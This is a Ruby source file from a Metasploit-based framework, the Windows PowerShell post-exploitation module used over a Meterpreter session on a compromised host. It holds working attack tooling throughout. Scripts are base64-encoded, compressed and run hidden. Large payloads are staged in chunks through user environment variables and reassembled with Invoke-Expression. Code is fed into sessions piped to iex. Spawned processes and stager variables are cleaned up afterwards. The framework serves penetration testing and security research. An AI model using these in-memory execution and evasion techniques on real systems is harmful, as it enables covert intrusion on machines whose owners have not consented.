Files
metasploit-gs/lib/msf/core/post/windows/powershell.rb
T
2015-08-26 17:09:33 -05:00

353 lines
12 KiB
Ruby

# -*- coding: binary -*-
require 'msf/core/exploit/powershell'
require 'msf/core/post/common'
module Msf
class Post
module Windows
module Powershell
include ::Msf::Exploit::Powershell
include ::Msf::Post::Common
def initialize(info = {})
super
register_advanced_options(
[
OptInt.new('Powershell::Post::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
], self.class)
end
#
# Returns true if powershell is installed
#
def have_powershell?
cmd_out = cmd_exec('cmd.exe /c "echo. | powershell get-host"')
return true if cmd_out =~ /Name.*Version.*InstanceId/m
return false
end
#
# Get/compare list of current PS processes - nested execution can spawn many children
# doing checks before and after execution allows us to kill more children...
# This is a hack, better solutions are welcome since this could kill user
# spawned powershell windows created between comparisons.
#
def get_ps_pids(pids = [])
current_pids = session.sys.process.get_processes.keep_if {|p|
p['name'].downcase == 'powershell.exe'
}.map {|p| p['pid']}
# Subtract previously known pids
current_pids = (current_pids - pids).uniq
return current_pids
end
#
# Execute a powershell script and return the output, channels, and pids. The script
# is never written to disk.
#
def execute_script(script, greedy_kill = false)
@session_pids ||= []
running_pids = greedy_kill ? get_ps_pids : []
open_channels = []
# Execute using -EncodedCommand
session.response_timeout = datastore['Powershell::Post::timeout'].to_i
ps_bin = datastore['Powershell::Post::force_wow64'] ?
'%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
script = encode_script(script.to_s)
end
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
vprint_good("EXECUTING:\n#{ps_string}")
cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})
# Subtract prior PIDs from current
if greedy_kill
Rex::ThreadSafe.sleep(3) # Let PS start child procs
running_pids = get_ps_pids(running_pids)
end
# Add to list of running processes
running_pids << cmd_out.pid
# All pids start here, so store them in a class variable
(@session_pids += running_pids).uniq!
# Add to list of open channels
open_channels << cmd_out
return [cmd_out, running_pids.uniq, open_channels]
end
#
# Powershell scripts that are longer than 8000 bytes are split into 8000
# byte chunks and stored as CMD environment variables. A new powershell
# script is built that will reassemble the chunks and execute the script.
# Returns the reassembly script.
#
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Check to ensure script is encoded and compressed
if compressed_script =~ /\s|\.|\;/
compressed_script = compress_script(compressed_script)
end
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
while (index < compressed_script.size - 1)
# Define random, but serialized variable name
env_prefix = "%05d" % ((index + 8000)/8000)
env_variable = env_prefix + env_suffix
# Create chunk
chunk = compressed_script[index, count]
# Build the set commands
set_env_variable = "[Environment]::SetEnvironmentVariable("
set_env_variable += "'#{env_variable}',"
set_env_variable += "'#{chunk}', 'User')"
# Compress and encode the set command
encoded_stager = encode_script(compress_script(set_env_variable))
# Stage the payload
print_good(" - Bytes remaining: #{compressed_script.size - index}")
cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
# Increment index
index += count
end
# Build the script reassembler
reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|"
reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
# Compress and encode the reassemble command
encoded_script = encode_script(compress_script(reassemble_command))
return encoded_script
end
#
# Uploads a script into a Powershell session via memory (Powershell session types only).
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
#
def stage_psh_env(script)
begin
ps_script = read_script(script)
encoded_expression = encode_script(ps_script)
cleanup_commands = []
# Add entropy to script variable names
script_var = ps_script.rig.generate(4)
decscript = ps_script.rig.generate(4)
scriptby = ps_script.rig.generate(4)
scriptbybase = ps_script.rig.generate(4)
scriptbybasefull = ps_script.rig.generate(4)
if (encoded_expression.size > 14999)
print_error("Script size: #{encoded_expression.size} This script requires a stager")
arr = encoded_expression.chars.each_slice(14999).map(&:join)
print_good("Loading " + arr.count.to_s + " chunks into the stager.")
vararray = []
arr.each_with_index do |slice, index|
variable = ps_script.rig.generate(5)
vararray << variable
indexval = index+1
vprint_good("Loaded stage:#{indexval}")
session.shell_command("$#{variable} = \"#{slice}\"")
cleanup_commands << "Remove-Variable #{variable} -EA 0"
end
linkvars = ''
for var in vararray
linkvars = linkvars + " + $" + var
end
linkvars.slice!(0..2)
session.shell_command("$#{script_var} = #{linkvars}")
else
print_good("Script size: #{encoded_expression.size}")
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
end
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
print_good("Module loaded")
unless cleanup_commands.empty?
vprint_good("Cleaning up #{cleanup_commands.count} stager variables")
session.shell_command("#{cleanup_commands.join(';')}")
end
rescue Errno::EISDIR => e
vprint_error("Unable to upload script: #{e.message}")
end
end
#
# Reads output of the command channel and empties the buffer.
# Will optionally log command output to disk.
#
def get_ps_output(cmd_out, eof, read_wait = 5)
results = ''
if datastore['Powershell::Post::log_output']
# Get target's computer name
computer_name = session.sys.config.sysinfo['Computer']
# Create unique log directory
log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
::FileUtils.mkdir_p(log_dir)
# Define log filename
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
log_file = ::File.join(log_dir,"#{time_stamp}.txt")
# Open log file for writing
fd = ::File.new(log_file, 'w+')
end
# Read output until eof or nil return output and write to log
while (1)
line = ::Timeout.timeout(read_wait) {
cmd_out.channel.read
} rescue nil
break if line.nil?
if (line.sub!(/#{eof}/, ''))
results << line
fd.write(line) if fd
#vprint_good("\t#{line}")
break
end
results << line
fd.write(line) if fd
#vprint_status("\n#{line}")
end
# Close log file
# cmd_out.channel.close()
fd.close() if fd
return results
#
# Incremental read method - NOT USED
#
# read_data = ''
# segment = 2**16
# # Read incrementally smaller blocks after each failure/timeout
# while segment > 0 do
# begin
# read_data << ::Timeout.timeout(read_wait) {
# cmd_out.channel.read(segment)
# }
# rescue
# segment = segment/2
# end
# end
end
#
# Clean up powershell script including process and chunks stored in environment variables
#
def clean_up(
script_file = nil,
eof = '',
running_pids =[],
open_channels = [],
env_suffix = Rex::Text.rand_text_alpha(8),
delete = false
)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, new_running_pids, new_open_channels = execute_script(script)
get_ps_output(cmd_out, eof)
# Kill running processes, should mutex this...
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
(running_pids + new_running_pids).uniq.each do |pid|
begin
if session.sys.process.processes.map {|x|x['pid']}.include?(pid)
session.sys.process.kill(pid)
end
@session_pids.delete(pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Failed to kill #{pid} due to #{e}"
end
end
# Close open channels
(open_channels + new_open_channels).uniq.each do |chan|
chan.channel.close
end
::File.delete(script_file) if (script_file and delete)
return
end
# Simple script execution wrapper, performs all steps
# required to execute a string of powershell.
# This method will try to kill all powershell.exe PIDs
# which appeared during its execution, set greedy_kill
# to false if this is not desired.
#
def psh_exec(script, greedy_kill=true, ps_cleanup=true)
# Define vars
eof = Rex::Text.rand_text_alpha(8)
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
env_suffix = Rex::Text.rand_text_alpha(8)
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
# Check to ensure base64 encoding - regex format and content length division
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
script = encode_script(compress_script(script.to_s, eof),eof)
end
if datastore['Powershell::Post::dry_run']
return "powershell -EncodedCommand #{script}"
else
# Check 8k cmd buffer limit, stage if needed
if (script.size > 8100)
vprint_error("Compressed size: #{script.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
vprint_error(error_msg)
vprint_good('Launching stager:')
script = stage_cmd_env(script, env_suffix)
print_good("Payload successfully staged.")
else
print_good("Compressed size: #{script.size}")
end
vprint_good("Final command #{script}")
# Execute the script, get the output, and kill the resulting PIDs
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
if datastore['Powershell::Post::timeout'].to_i < 0
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
# print_error out
return out
end
ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout'])
# Kill off the resulting processes if needed
if ps_cleanup
vprint_good( "Cleaning up #{running_pids.join(', ')}" )
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
end
return ps_output
end
end
end
end
end
end